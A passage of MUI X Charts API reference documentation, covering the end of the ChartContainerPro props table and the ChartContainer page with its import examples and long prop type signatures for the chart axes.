| onZoomChange | `function(zoomData: Array<ZoomData>) => void` | - | No |  |
| series | `Array<object>` | - | No |  |
| skipAnimation | `bool` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, fill?: string, hideTooltip?: bool, id?: number \| string, label?: string, labelStyle?: object, max?: Date \| number, min?: Date \| number, position?: 'bottom' \| 'top', reverse?: bool, scaleType?: 'band' \| 'linear' \| 'log' \| 'point' \| 'pow' \| 'sqrt' \| 'time' \| 'utc', slotProps?: object, slots?: object, stroke?: string, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, step?: number } \| bool }>` | - | No |  |
| yAxis | `Array<{ classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, fill?: string, hideTooltip?: bool, id?: number \| string, label?: string, labelStyle?: object, max?: Date \| number, min?: Date \| number, position?: 'left' \| 'right', reverse?: bool, scaleType?: 'band' \| 'linear' \| 'log' \| 'point' \| 'pow' \| 'sqrt' \| 'time' \| 'utc', slotProps?: object, slots?: object, stroke?: string, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, step?: number } \| bool }>` | - | No |  |
| zAxis | `Array<{ colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, id?: string, max?: number, min?: number }>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartContainerPro/ChartContainerPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartContainerPro/ChartContainerPro.tsx)

---

# Source: https://mui.com/x/api/charts/chart-container.md

# ChartContainer API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Composition](/x/react-charts/composition/)
- [Charts - Localization](/x/react-charts/localization/)
- [Charts - Plugins](/x/react-charts/plugins/)

## Import

```jsx
import { ChartContainer } from '@mui/x-charts/ChartContainer';
// or
import { ChartContainer } from '@mui/x-charts';
// or
import { ChartContainer } from '@mui/x-charts-pro';
// or
import { ChartContainer } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| disableVoronoi | `bool` | - | No |  |
| experimentalFeatures | `{ preferStrictDomainInLineCharts?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: any, seriesId?: { toLocaleString: func, toString: func, valueOf: func }, type: object }>` | - | No |  |
| highlightedAxis | `Array<{ axisId: number \| string, dataIndex: number }>` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: any, seriesId?: { toLocaleString: func, toString: func, valueOf: func }, type: object }>` | - | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onHighlightedAxisChange | `function(axisItems: Array<AxisItemIdentifier>) => void` | - | No |  |
| onItemClick | `function(event: MouseEvent, scatterItemIdentifier: ScatterItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| radiusAxis | `Array<{ classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, maxRadius?: number, min?: number, minRadius?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func }>` | - | No |  |
| rotationAxis | `Array<{ barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, endAngle?: number, height?: number, hideTooltip?: bool, id: number \| string, ignoreTooltip?: bool, label?: string, labelGap?: number, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, startAngle?: number, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func }>` | - | No |  |
| series | `Array<object>` | - | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| tooltipItem | `{ dataIndex?: number, seriesId: number \| string, type: 'bar' \| 'line' \| 'pie' \| 'radar' \| 'scatter' }` | - | No |  |
| voronoiMaxRadius | `'item' \| number` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: 